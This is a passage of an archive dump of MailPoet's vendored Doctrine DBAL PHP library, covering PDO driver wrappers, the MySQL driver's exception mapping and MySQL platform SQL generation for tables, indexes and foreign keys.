} return $this->stmt->bindValue($name, $value, $bindingType); } else { return $this->stmt->bindValue($name, $value); } } public function bindParam($name, &$var, $type = \PDO::PARAM_STR, $length = null) { $this->params[$name] = $var; $this->types[$name] = $type; return $this->stmt->bindParam($name, $var, $type, $length); } public function execute($params = null) { if (\is_array($params)) { $this->params = $params; } $logger = $this->conn->getConfiguration()->getSQLLogger(); if ($logger) { $logger->startQuery($this->sql, $this->params, $this->types); } try { $stmt = $this->stmt->execute($params); } catch (\Exception $ex) { if ($logger) { $logger->stopQuery(); } throw \MailPoetVendor\Doctrine\DBAL\DBALException::driverExceptionDuringQuery($this->conn->getDriver(), $ex, $this->sql, $this->conn->resolveParams($this->params, $this->types)); } if ($logger) { $logger->stopQuery(); } $this->params = array(); $this->types = array(); return $stmt; } public function closeCursor() { return $this->stmt->closeCursor(); } public function columnCount() { return $this->stmt->columnCount(); } public function errorCode() { return $this->stmt->errorCode(); } public function errorInfo() { return $this->stmt->errorInfo(); } public function setFetchMode($fetchMode, $arg2 = null, $arg3 = null) { if ($arg2 === null) { return $this->stmt->setFetchMode($fetchMode); } elseif ($arg3 === null) { return $this->stmt->setFetchMode($fetchMode, $arg2); } return $this->stmt->setFetchMode($fetchMode, $arg2, $arg3); } public function getIterator() { return $this->stmt; } public function fetch($fetchMode = null) { return $this->stmt->fetch($fetchMode); } public function fetchAll($fetchMode = null, $fetchArgument = 0) { if ($fetchArgument !== 0) { return $this->stmt->fetchAll($fetchMode, $fetchArgument); } return $this->stmt->fetchAll($fetchMode); } public function fetchColumn($columnIndex = 0) { return $this->stmt->fetchColumn($columnIndex); } public function rowCount() { return $this->stmt->rowCount(); } public function getWrappedStatement() { return $this->stmt; } } Doctrine/DBAL/Driver.php 0000666 00000000660 15035130072 0010763 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; interface Driver { public function connect(array $params, $username = null, $password = null, array $driverOptions = array()); public function getDatabasePlatform(); public function getSchemaManager(\MailPoetVendor\Doctrine\DBAL\Connection $conn); public function getName(); public function getDatabase(\MailPoetVendor\Doctrine\DBAL\Connection $conn); } Doctrine/DBAL/index.php 0000666 00000000000 15035130072 0010623 0 ustar 00 Doctrine/DBAL/Driver/DriverException.php 0000666 00000000320 15035130072 0014066 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; interface DriverException { public function getErrorCode(); public function getMessage(); public function getSQLState(); } Doctrine/DBAL/Driver/Connection.php 0000666 00000000604 15035130072 0013060 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; interface Connection { function prepare($prepareString); function query(); function quote($input, $type = \PDO::PARAM_STR); function exec($statement); function lastInsertId($name = null); function beginTransaction(); function commit(); function rollBack(); function errorCode(); function errorInfo(); } Doctrine/DBAL/Driver/PDOException.php 0000666 00000001363 15035130072 0013265 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; class PDOException extends \PDOException implements \MailPoetVendor\Doctrine\DBAL\Driver\DriverException { private $errorCode; private $sqlState; public function __construct(\PDOException $exception) { parent::__construct($exception->getMessage(), 0, $exception); $this->code = $exception->getCode(); $this->errorInfo = $exception->errorInfo; $this->errorCode = isset($exception->errorInfo[1]) ? $exception->errorInfo[1] : $exception->getCode(); $this->sqlState = isset($exception->errorInfo[0]) ? $exception->errorInfo[0] : $exception->getCode(); } public function getErrorCode() { return $this->errorCode; } public function getSQLState() { return $this->sqlState; } } Doctrine/DBAL/Driver/index.php 0000666 00000000000 15035130072 0012056 0 ustar 00 Doctrine/DBAL/Driver/PDOConnection.php 0000666 00000003625 15035130072 0013431 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; use PDO; class PDOConnection extends \PDO implements \MailPoetVendor\Doctrine\DBAL\Driver\Connection, \MailPoetVendor\Doctrine\DBAL\Driver\ServerInfoAwareConnection { public function __construct($dsn, $user = null, $password = null, array $options = null) { try { parent::__construct($dsn, $user, $password, $options); $this->setAttribute(\PDO::ATTR_STATEMENT_CLASS, array('MailPoetVendor\\Doctrine\\DBAL\\Driver\\PDOStatement', array())); $this->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); } catch (\PDOException $exception) { throw new \MailPoetVendor\Doctrine\DBAL\Driver\PDOException($exception); } } public function exec($statement) { try { return parent::exec($statement); } catch (\PDOException $exception) { throw new \MailPoetVendor\Doctrine\DBAL\Driver\PDOException($exception); } } public function getServerVersion() { return \PDO::getAttribute(\PDO::ATTR_SERVER_VERSION); } public function prepare($prepareString, $driverOptions = array()) { try { return parent::prepare($prepareString, $driverOptions); } catch (\PDOException $exception) { throw new \MailPoetVendor\Doctrine\DBAL\Driver\PDOException($exception); } } public function query() { $args = \func_get_args(); $argsCount = \count($args); try { if ($argsCount == 4) { return parent::query($args[0], $args[1], $args[2], $args[3]); } if ($argsCount == 3) { return parent::query($args[0], $args[1], $args[2]); } if ($argsCount == 2) { return parent::query($args[0], $args[1]); } return parent::query($args[0]); } catch (\PDOException $exception) { throw new \MailPoetVendor\Doctrine\DBAL\Driver\PDOException($exception); } } public function quote($input, $type = \PDO::PARAM_STR) { return parent::quote($input, $type); } public function lastInsertId($name = null) { return parent::lastInsertId($name); } public function requiresQueryForServerVersion() { return \false; } } Doctrine/DBAL/Driver/PDOStatement.php 0000666 00000005412 15035130072 0013272 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; class PDOStatement extends \PDOStatement implements \MailPoetVendor\Doctrine\DBAL\Driver\Statement { protected function __construct() { } public function setFetchMode($fetchMode, $arg2 = null, $arg3 = null) { try { if ($arg2 === null && $arg3 === null) { return parent::setFetchMode($fetchMode); } if ($arg3 === null) { return parent::setFetchMode($fetchMode, $arg2); } return parent::setFetchMode($fetchMode, $arg2, $arg3); } catch (\PDOException $exception) { throw new \MailPoetVendor\Doctrine\DBAL\Driver\PDOException($exception); } } public function bindValue($param, $value, $type = \PDO::PARAM_STR) { try { return parent::bindValue($param, $value, $type); } catch (\PDOException $exception) { throw new \MailPoetVendor\Doctrine\DBAL\Driver\PDOException($exception); } } public function bindParam($column, &$variable, $type = \PDO::PARAM_STR, $length = null, $driverOptions = null) { try { return parent::bindParam($column, $variable, $type, $length, $driverOptions); } catch (\PDOException $exception) { throw new \MailPoetVendor\Doctrine\DBAL\Driver\PDOException($exception); } } public function closeCursor() { try { return parent::closeCursor(); } catch (\PDOException $exception) { return \true; } } public function execute($params = null) { try { return parent::execute($params); } catch (\PDOException $exception) { throw new \MailPoetVendor\Doctrine\DBAL\Driver\PDOException($exception); } } public function fetch($fetchMode = null, $cursorOrientation = null, $cursorOffset = null) { try { if ($fetchMode === null && $cursorOrientation === null && $cursorOffset === null) { return parent::fetch(); } if ($cursorOrientation === null && $cursorOffset === null) { return parent::fetch($fetchMode); } if ($cursorOffset === null) { return parent::fetch($fetchMode, $cursorOrientation); } return parent::fetch($fetchMode, $cursorOrientation, $cursorOffset); } catch (\PDOException $exception) { throw new \MailPoetVendor\Doctrine\DBAL\Driver\PDOException($exception); } } public function fetchAll($fetchMode = null, $fetchArgument = null, $ctorArgs = null) { try { if ($fetchMode === null && $fetchArgument === null && $ctorArgs === null) { return parent::fetchAll(); } if ($fetchArgument === null && $ctorArgs === null) { return parent::fetchAll($fetchMode); } if ($ctorArgs === null) { return parent::fetchAll($fetchMode, $fetchArgument); } return parent::fetchAll($fetchMode, $fetchArgument, $ctorArgs); } catch (\PDOException $exception) { throw new \MailPoetVendor\Doctrine\DBAL\Driver\PDOException($exception); } } public function fetchColumn($columnIndex = 0) { try { return parent::fetchColumn($columnIndex); } catch (\PDOException $exception) { throw new \MailPoetVendor\Doctrine\DBAL\Driver\PDOException($exception); } } } Doctrine/DBAL/Driver/PDOMySql/index.php 0000666 00000000000 15035130072 0013466 0 ustar 00 Doctrine/DBAL/Driver/PDOMySql/Driver.php 0000666 00000002416 15035130072 0013627 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver\PDOMySql; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\DBALException; use MailPoetVendor\Doctrine\DBAL\Driver\AbstractMySQLDriver; use MailPoetVendor\Doctrine\DBAL\Driver\PDOConnection; use PDOException; class Driver extends \MailPoetVendor\Doctrine\DBAL\Driver\AbstractMySQLDriver { public function connect(array $params, $username = null, $password = null, array $driverOptions = array()) { try { $conn = new \MailPoetVendor\Doctrine\DBAL\Driver\PDOConnection($this->constructPdoDsn($params), $username, $password, $driverOptions); } catch (\PDOException $e) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::driverException($this, $e); } return $conn; } protected function constructPdoDsn(array $params) { $dsn = 'mysql:'; if (isset($params['host']) && $params['host'] != '') { $dsn .= 'host=' . $params['host'] . ';'; } if (isset($params['port'])) { $dsn .= 'port=' . $params['port'] . ';'; } if (isset($params['dbname'])) { $dsn .= 'dbname=' . $params['dbname'] . ';'; } if (isset($params['unix_socket'])) { $dsn .= 'unix_socket=' . $params['unix_socket'] . ';'; } if (isset($params['charset'])) { $dsn .= 'charset=' . $params['charset'] . ';'; } return $dsn; } public function getName() { return 'pdo_mysql'; } } Doctrine/DBAL/Driver/AbstractMySQLDriver.php 0000666 00000007273 15035130072 0014577 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\DBALException; use MailPoetVendor\Doctrine\DBAL\Driver; use MailPoetVendor\Doctrine\DBAL\Exception; use MailPoetVendor\Doctrine\DBAL\Platforms\MySQL57Platform; use MailPoetVendor\Doctrine\DBAL\Platforms\MySqlPlatform; use MailPoetVendor\Doctrine\DBAL\Schema\MySqlSchemaManager; use MailPoetVendor\Doctrine\DBAL\VersionAwarePlatformDriver; abstract class AbstractMySQLDriver implements \MailPoetVendor\Doctrine\DBAL\Driver, \MailPoetVendor\Doctrine\DBAL\Driver\ExceptionConverterDriver, \MailPoetVendor\Doctrine\DBAL\VersionAwarePlatformDriver { public function convertException($message, \MailPoetVendor\Doctrine\DBAL\Driver\DriverException $exception) { switch ($exception->getErrorCode()) { case '1050': return new \MailPoetVendor\Doctrine\DBAL\Exception\TableExistsException($message, $exception); case '1051': case '1146': return new \MailPoetVendor\Doctrine\DBAL\Exception\TableNotFoundException($message, $exception); case '1216': case '1217': case '1451': case '1452': case '1701': return new \MailPoetVendor\Doctrine\DBAL\Exception\ForeignKeyConstraintViolationException($message, $exception); case '1062': case '1557': case '1569': case '1586': return new \MailPoetVendor\Doctrine\DBAL\Exception\UniqueConstraintViolationException($message, $exception); case '1054': case '1166': case '1611': return new \MailPoetVendor\Doctrine\DBAL\Exception\InvalidFieldNameException($message, $exception); case '1052': case '1060': case '1110': return new \MailPoetVendor\Doctrine\DBAL\Exception\NonUniqueFieldNameException($message, $exception); case '1064': case '1149': case '1287': case '1341': case '1342': case '1343': case '1344': case '1382': case '1479': case '1541': case '1554': case '1626': return new \MailPoetVendor\Doctrine\DBAL\Exception\SyntaxErrorException($message, $exception); case '1044': case '1045': case '1046': case '1049': case '1095': case '1142': case '1143': case '1227': case '1370': case '2002': case '2005': return new \MailPoetVendor\Doctrine\DBAL\Exception\ConnectionException($message, $exception); case '1048': case '1121': case '1138': case '1171': case '1252': case '1263': case '1566': return new \MailPoetVendor\Doctrine\DBAL\Exception\NotNullConstraintViolationException($message, $exception); } return new \MailPoetVendor\Doctrine\DBAL\Exception\DriverException($message, $exception); } public function createDatabasePlatformForVersion($version) { if (!\preg_match('/^(?P<major>\\d+)(?:\\.(?P<minor>\\d+)(?:\\.(?P<patch>\\d+))?)?/', $version, $versionParts)) { throw \MailPoetVendor\Doctrine\DBAL\DBALException::invalidPlatformVersionSpecified($version, '<major_version>.<minor_version>.<patch_version>'); } if (\false !== \stripos($version, 'mariadb')) { return $this->getDatabasePlatform(); } $majorVersion = $versionParts['major']; $minorVersion = isset($versionParts['minor']) ? $versionParts['minor'] : 0; $patchVersion = isset($versionParts['patch']) ? $versionParts['patch'] : 0; $version = $majorVersion . '.' . $minorVersion . '.' . $patchVersion; if (\version_compare($version, '5.7', '>=')) { return new \MailPoetVendor\Doctrine\DBAL\Platforms\MySQL57Platform(); } return $this->getDatabasePlatform(); } public function getDatabase(\MailPoetVendor\Doctrine\DBAL\Connection $conn) { $params = $conn->getParams(); if (isset($params['dbname'])) { return $params['dbname']; } return $conn->query('SELECT DATABASE()')->fetchColumn(); } public function getDatabasePlatform() { return new \MailPoetVendor\Doctrine\DBAL\Platforms\MySqlPlatform(); } public function getSchemaManager(\MailPoetVendor\Doctrine\DBAL\Connection $conn) { return new \MailPoetVendor\Doctrine\DBAL\Schema\MySqlSchemaManager($conn); } } Doctrine/DBAL/Driver/ResultStatement.php 0000666 00000000622 15035130072 0014124 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; interface ResultStatement extends \Traversable { public function closeCursor(); public function columnCount(); public function setFetchMode($fetchMode, $arg2 = null, $arg3 = null); public function fetch($fetchMode = null); public function fetchAll($fetchMode = null); public function fetchColumn($columnIndex = 0); } Doctrine/DBAL/Driver/PingableConnection.php 0000666 00000000216 15035130072 0014521 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; interface PingableConnection { public function ping(); } Doctrine/DBAL/Driver/ServerInfoAwareConnection.php 0000666 00000000322 15035130072 0016040 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; interface ServerInfoAwareConnection { public function getServerVersion(); public function requiresQueryForServerVersion(); } Doctrine/DBAL/Driver/Statement.php 0000666 00000000606 15035130072 0012727 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; interface Statement extends \MailPoetVendor\Doctrine\DBAL\Driver\ResultStatement { function bindValue($param, $value, $type = null); function bindParam($column, &$variable, $type = null, $length = null); function errorCode(); function errorInfo(); function execute($params = null); function rowCount(); } Doctrine/DBAL/Driver/ExceptionConverterDriver.php 0000666 00000000351 15035130072 0015762 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; interface ExceptionConverterDriver { public function convertException($message, \MailPoetVendor\Doctrine\DBAL\Driver\DriverException $exception); } Doctrine/DBAL/Driver/AbstractDriverException.php 0000666 00000001032 15035130072 0015553 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Driver; if (!defined('ABSPATH')) exit; abstract class AbstractDriverException extends \Exception implements \MailPoetVendor\Doctrine\DBAL\Driver\DriverException { private $errorCode; private $sqlState; public function __construct($message, $sqlState = null, $errorCode = null) { parent::__construct($message); $this->errorCode = $errorCode; $this->sqlState = $sqlState; } public function getErrorCode() { return $this->errorCode; } public function getSQLState() { return $this->sqlState; } } Doctrine/DBAL/Platforms/MySqlPlatform.php 0000666 00000051106 15035130072 0014252 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Platforms; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Schema\Identifier; use MailPoetVendor\Doctrine\DBAL\Schema\TableDiff; use MailPoetVendor\Doctrine\DBAL\Schema\Index; use MailPoetVendor\Doctrine\DBAL\Schema\Table; use MailPoetVendor\Doctrine\DBAL\Types\BlobType; use MailPoetVendor\Doctrine\DBAL\Types\TextType; class MySqlPlatform extends \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform { const LENGTH_LIMIT_TINYTEXT = 255; const LENGTH_LIMIT_TEXT = 65535; const LENGTH_LIMIT_MEDIUMTEXT = 16777215; const LENGTH_LIMIT_TINYBLOB = 255; const LENGTH_LIMIT_BLOB = 65535; const LENGTH_LIMIT_MEDIUMBLOB = 16777215; protected function doModifyLimitQuery($query, $limit, $offset) { if ($limit !== null) { $query .= ' LIMIT ' . $limit; if ($offset !== null) { $query .= ' OFFSET ' . $offset; } } elseif ($offset !== null) { $query .= ' LIMIT 18446744073709551615 OFFSET ' . $offset; } return $query; } public function getIdentifierQuoteCharacter() { return '`'; } public function getRegexpExpression() { return 'RLIKE'; } public function getGuidExpression() { return 'UUID()'; } public function getLocateExpression($str, $substr, $startPos = \false) { if ($startPos == \false) { return 'LOCATE(' . $substr . ', ' . $str . ')'; } return 'LOCATE(' . $substr . ', ' . $str . ', ' . $startPos . ')'; } public function getConcatExpression() { $args = \func_get_args(); return 'CONCAT(' . \join(', ', (array) $args) . ')'; } protected function getDateArithmeticIntervalExpression($date, $operator, $interval, $unit) { $function = '+' === $operator ? 'DATE_ADD' : 'DATE_SUB'; return $function . '(' . $date . ', INTERVAL ' . $interval . ' ' . $unit . ')'; } public function getDateDiffExpression($date1, $date2) { return 'DATEDIFF(' . $date1 . ', ' . $date2 . ')'; } public function getListDatabasesSQL() { return 'SHOW DATABASES'; } public function getListTableConstraintsSQL($table) { return 'SHOW INDEX FROM ' . $table; } public function getListTableIndexesSQL($table, $currentDatabase = null) { if ($currentDatabase) { $currentDatabase = $this->quoteStringLiteral($currentDatabase); $table = $this->quoteStringLiteral($table); return "SELECT TABLE_NAME AS `Table`, NON_UNIQUE AS Non_Unique, INDEX_NAME AS Key_name, " . "SEQ_IN_INDEX AS Seq_in_index, COLUMN_NAME AS Column_Name, COLLATION AS Collation, " . "CARDINALITY AS Cardinality, SUB_PART AS Sub_Part, PACKED AS Packed, " . "NULLABLE AS `Null`, INDEX_TYPE AS Index_Type, COMMENT AS Comment " . "FROM information_schema.STATISTICS WHERE TABLE_NAME = " . $table . " AND TABLE_SCHEMA = " . $currentDatabase; } return 'SHOW INDEX FROM ' . $table; } public function getListViewsSQL($database) { $database = $this->quoteStringLiteral($database); return "SELECT * FROM information_schema.VIEWS WHERE TABLE_SCHEMA = " . $database; } public function getListTableForeignKeysSQL($table, $database = null) { $table = $this->quoteStringLiteral($table); if (null !== $database) { $database = $this->quoteStringLiteral($database); } $sql = "SELECT DISTINCT k.`CONSTRAINT_NAME`, k.`COLUMN_NAME`, k.`REFERENCED_TABLE_NAME`, " . "k.`REFERENCED_COLUMN_NAME` /*!50116 , c.update_rule, c.delete_rule */ " . "FROM information_schema.key_column_usage k /*!50116 " . "INNER JOIN information_schema.referential_constraints c ON " . " c.constraint_name = k.constraint_name AND " . " c.table_name = {$table} */ WHERE k.table_name = {$table}"; $databaseNameSql = null === $database ? 'DATABASE()' : $database; $sql .= " AND k.table_schema = {$databaseNameSql} /*!50116 AND c.constraint_schema = {$databaseNameSql} */"; $sql .= " AND k.`REFERENCED_COLUMN_NAME` is not NULL"; return $sql; } public function getCreateViewSQL($name, $sql) { return 'CREATE VIEW ' . $name . ' AS ' . $sql; } public function getDropViewSQL($name) { return 'DROP VIEW ' . $name; } protected function getVarcharTypeDeclarationSQLSnippet($length, $fixed) { return $fixed ? $length ? 'CHAR(' . $length . ')' : 'CHAR(255)' : ($length ? 'VARCHAR(' . $length . ')' : 'VARCHAR(255)'); } protected function getBinaryTypeDeclarationSQLSnippet($length, $fixed) { return $fixed ? 'BINARY(' . ($length ?: 255) . ')' : 'VARBINARY(' . ($length ?: 255) . ')'; } public function getClobTypeDeclarationSQL(array $field) { if (!empty($field['length']) && \is_numeric($field['length'])) { $length = $field['length']; if ($length <= static::LENGTH_LIMIT_TINYTEXT) { return 'TINYTEXT'; } if ($length <= static::LENGTH_LIMIT_TEXT) { return 'TEXT'; } if ($length <= static::LENGTH_LIMIT_MEDIUMTEXT) { return 'MEDIUMTEXT'; } } return 'LONGTEXT'; } public function getDateTimeTypeDeclarationSQL(array $fieldDeclaration) { if (isset($fieldDeclaration['version']) && $fieldDeclaration['version'] == \true) { return 'TIMESTAMP'; } return 'DATETIME'; } public function getDateTypeDeclarationSQL(array $fieldDeclaration) { return 'DATE'; } public function getTimeTypeDeclarationSQL(array $fieldDeclaration) { return 'TIME'; } public function getBooleanTypeDeclarationSQL(array $field) { return 'TINYINT(1)'; } public function getCollationFieldDeclaration($collation) { return $this->getColumnCollationDeclarationSQL($collation); } public function prefersIdentityColumns() { return \true; } public function supportsIdentityColumns() { return \true; } public function supportsInlineColumnComments() { return \true; } public function supportsColumnCollation() { return \true; } public function getListTablesSQL() { return "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'"; } public function getListTableColumnsSQL($table, $database = null) { $table = $this->quoteStringLiteral($table); if ($database) { $database = $this->quoteStringLiteral($database); } else { $database = 'DATABASE()'; } return "SELECT COLUMN_NAME AS Field, COLUMN_TYPE AS Type, IS_NULLABLE AS `Null`, " . "COLUMN_KEY AS `Key`, COLUMN_DEFAULT AS `Default`, EXTRA AS Extra, COLUMN_COMMENT AS Comment, " . "CHARACTER_SET_NAME AS CharacterSet, COLLATION_NAME AS Collation " . "FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = " . $database . " AND TABLE_NAME = " . $table; } public function getCreateDatabaseSQL($name) { return 'CREATE DATABASE ' . $name; } public function getDropDatabaseSQL($name) { return 'DROP DATABASE ' . $name; } protected function _getCreateTableSQL($tableName, array $columns, array $options = array()) { $queryFields = $this->getColumnDeclarationListSQL($columns); if (isset($options['uniqueConstraints']) && !empty($options['uniqueConstraints'])) { foreach ($options['uniqueConstraints'] as $index => $definition) { $queryFields .= ', ' . $this->getUniqueConstraintDeclarationSQL($index, $definition); } } if (isset($options['indexes']) && !empty($options['indexes'])) { foreach ($options['indexes'] as $index => $definition) { $queryFields .= ', ' . $this->getIndexDeclarationSQL($index, $definition); } } if (isset($options['primary']) && !empty($options['primary'])) { $keyColumns = \array_unique(\array_values($options['primary'])); $queryFields .= ', PRIMARY KEY(' . \implode(', ', $keyColumns) . ')'; } $query = 'CREATE '; if (!empty($options['temporary'])) { $query .= 'TEMPORARY '; } $query .= 'TABLE ' . $tableName . ' (' . $queryFields . ') '; $query .= $this->buildTableOptions($options); $query .= $this->buildPartitionOptions($options); $sql[] = $query; $engine = 'INNODB'; if (isset($options['engine'])) { $engine = \strtoupper(\trim($options['engine'])); } if (isset($options['foreignKeys']) && $engine === 'INNODB') { foreach ((array) $options['foreignKeys'] as $definition) { $sql[] = $this->getCreateForeignKeySQL($definition, $tableName); } } return $sql; } public function getDefaultValueDeclarationSQL($field) { if ($field['type'] instanceof \MailPoetVendor\Doctrine\DBAL\Types\TextType || $field['type'] instanceof \MailPoetVendor\Doctrine\DBAL\Types\BlobType) { $field['default'] = null; } return parent::getDefaultValueDeclarationSQL($field); } private function buildTableOptions(array $options) { if (isset($options['table_options'])) { return $options['table_options']; } $tableOptions = array(); if (!isset($options['charset'])) { $options['charset'] = 'utf8'; } $tableOptions[] = \sprintf('DEFAULT CHARACTER SET %s', $options['charset']); if (!isset($options['collate'])) { $options['collate'] = 'utf8_unicode_ci'; } $tableOptions[] = \sprintf('COLLATE %s', $options['collate']); if (!isset($options['engine'])) { $options['engine'] = 'InnoDB'; } $tableOptions[] = \sprintf('ENGINE = %s', $options['engine']); if (isset($options['auto_increment'])) { $tableOptions[] = \sprintf('AUTO_INCREMENT = %s', $options['auto_increment']); } if (isset($options['comment'])) { $comment = \trim($options['comment'], " '"); $tableOptions[] = \sprintf("COMMENT = %s ", $this->quoteStringLiteral($comment)); } if (isset($options['row_format'])) { $tableOptions[] = \sprintf('ROW_FORMAT = %s', $options['row_format']); } return \implode(' ', $tableOptions); } private function buildPartitionOptions(array $options) { return isset($options['partition_options']) ? ' ' . $options['partition_options'] : ''; } public function getAlterTableSQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $columnSql = array(); $queryParts = array(); if ($diff->newName !== \false) { $queryParts[] = 'RENAME TO ' . $diff->getNewName()->getQuotedName($this); } foreach ($diff->addedColumns as $column) { if ($this->onSchemaAlterTableAddColumn($column, $diff, $columnSql)) { continue; } $columnArray = $column->toArray(); $columnArray['comment'] = $this->getColumnComment($column); $queryParts[] = 'ADD ' . $this->getColumnDeclarationSQL($column->getQuotedName($this), $columnArray); } foreach ($diff->removedColumns as $column) { if ($this->onSchemaAlterTableRemoveColumn($column, $diff, $columnSql)) { continue; } $queryParts[] = 'DROP ' . $column->getQuotedName($this); } foreach ($diff->changedColumns as $columnDiff) { if ($this->onSchemaAlterTableChangeColumn($columnDiff, $diff, $columnSql)) { continue; } $column = $columnDiff->column; $columnArray = $column->toArray(); if ($columnDiff->hasChanged('default') && \count($columnDiff->changedProperties) === 1 && ($columnArray['type'] instanceof \MailPoetVendor\Doctrine\DBAL\Types\TextType || $columnArray['type'] instanceof \MailPoetVendor\Doctrine\DBAL\Types\BlobType)) { continue; } $columnArray['comment'] = $this->getColumnComment($column); $queryParts[] = 'CHANGE ' . $columnDiff->getOldColumnName()->getQuotedName($this) . ' ' . $this->getColumnDeclarationSQL($column->getQuotedName($this), $columnArray); } foreach ($diff->renamedColumns as $oldColumnName => $column) { if ($this->onSchemaAlterTableRenameColumn($oldColumnName, $column, $diff, $columnSql)) { continue; } $oldColumnName = new \MailPoetVendor\Doctrine\DBAL\Schema\Identifier($oldColumnName); $columnArray = $column->toArray(); $columnArray['comment'] = $this->getColumnComment($column); $queryParts[] = 'CHANGE ' . $oldColumnName->getQuotedName($this) . ' ' . $this->getColumnDeclarationSQL($column->getQuotedName($this), $columnArray); } if (isset($diff->addedIndexes['primary'])) { $keyColumns = \array_unique(\array_values($diff->addedIndexes['primary']->getColumns())); $queryParts[] = 'ADD PRIMARY KEY (' . \implode(', ', $keyColumns) . ')'; unset($diff->addedIndexes['primary']); } $sql = array(); $tableSql = array(); if (!$this->onSchemaAlterTable($diff, $tableSql)) { if (\count($queryParts) > 0) { $sql[] = 'ALTER TABLE ' . $diff->getName($this)->getQuotedName($this) . ' ' . \implode(", ", $queryParts); } $sql = \array_merge($this->getPreAlterTableIndexForeignKeySQL($diff), $sql, $this->getPostAlterTableIndexForeignKeySQL($diff)); } return \array_merge($sql, $tableSql, $columnSql); } protected function getPreAlterTableIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $sql = array(); $table = $diff->getName($this)->getQuotedName($this); foreach ($diff->changedIndexes as $changedIndex) { $sql = \array_merge($sql, $this->getPreAlterTableAlterPrimaryKeySQL($diff, $changedIndex)); } foreach ($diff->removedIndexes as $remKey => $remIndex) { $sql = \array_merge($sql, $this->getPreAlterTableAlterPrimaryKeySQL($diff, $remIndex)); foreach ($diff->addedIndexes as $addKey => $addIndex) { if ($remIndex->getColumns() == $addIndex->getColumns()) { $indexClause = 'INDEX ' . $addIndex->getName(); if ($addIndex->isPrimary()) { $indexClause = 'PRIMARY KEY'; } elseif ($addIndex->isUnique()) { $indexClause = 'UNIQUE INDEX ' . $addIndex->getName(); } $query = 'ALTER TABLE ' . $table . ' DROP INDEX ' . $remIndex->getName() . ', '; $query .= 'ADD ' . $indexClause; $query .= ' (' . $this->getIndexFieldDeclarationListSQL($addIndex->getQuotedColumns($this)) . ')'; $sql[] = $query; unset($diff->removedIndexes[$remKey]); unset($diff->addedIndexes[$addKey]); break; } } } $engine = 'INNODB'; if ($diff->fromTable instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table && $diff->fromTable->hasOption('engine')) { $engine = \strtoupper(\trim($diff->fromTable->getOption('engine'))); } if ('INNODB' !== $engine) { $diff->addedForeignKeys = array(); $diff->changedForeignKeys = array(); $diff->removedForeignKeys = array(); } $sql = \array_merge($sql, $this->getPreAlterTableAlterIndexForeignKeySQL($diff), parent::getPreAlterTableIndexForeignKeySQL($diff), $this->getPreAlterTableRenameIndexForeignKeySQL($diff)); return $sql; } private function getPreAlterTableAlterPrimaryKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff, \MailPoetVendor\Doctrine\DBAL\Schema\Index $index) { $sql = array(); if (!$index->isPrimary() || !$diff->fromTable instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { return $sql; } $tableName = $diff->getName($this)->getQuotedName($this); foreach ($index->getColumns() as $columnName) { if (!$diff->fromTable->hasColumn($columnName)) { continue; } $column = $diff->fromTable->getColumn($columnName); if ($column->getAutoincrement() === \true) { $column->setAutoincrement(\false); $sql[] = 'ALTER TABLE ' . $tableName . ' MODIFY ' . $this->getColumnDeclarationSQL($column->getQuotedName($this), $column->toArray()); $column->setAutoincrement(\true); } } return $sql; } private function getPreAlterTableAlterIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $sql = array(); $table = $diff->getName($this)->getQuotedName($this); foreach ($diff->changedIndexes as $changedIndex) { if ($changedIndex->isPrimary() && $diff->fromTable instanceof \MailPoetVendor\Doctrine\DBAL\Schema\Table) { foreach ($diff->fromTable->getPrimaryKeyColumns() as $columnName) { $column = $diff->fromTable->getColumn($columnName); if ($column->getAutoincrement() && !\in_array($columnName, $changedIndex->getColumns())) { $column->setAutoincrement(\false); $sql[] = 'ALTER TABLE ' . $table . ' MODIFY ' . $this->getColumnDeclarationSQL($column->getQuotedName($this), $column->toArray()); $column->setAutoincrement(\true); } } } } return $sql; } protected function getPreAlterTableRenameIndexForeignKeySQL(\MailPoetVendor\Doctrine\DBAL\Schema\TableDiff $diff) { $sql = array(); $tableName = $diff->getName($this)->getQuotedName($this); foreach ($this->getRemainingForeignKeyConstraintsRequiringRenamedIndexes($diff) as $foreignKey) { if (!\in_array($foreignKey, $diff->changedForeignKeys, \true)) { $sql[] = $this->getDropForeignKeySQL($foreignKey, $tableName); } } return $sql; } private function 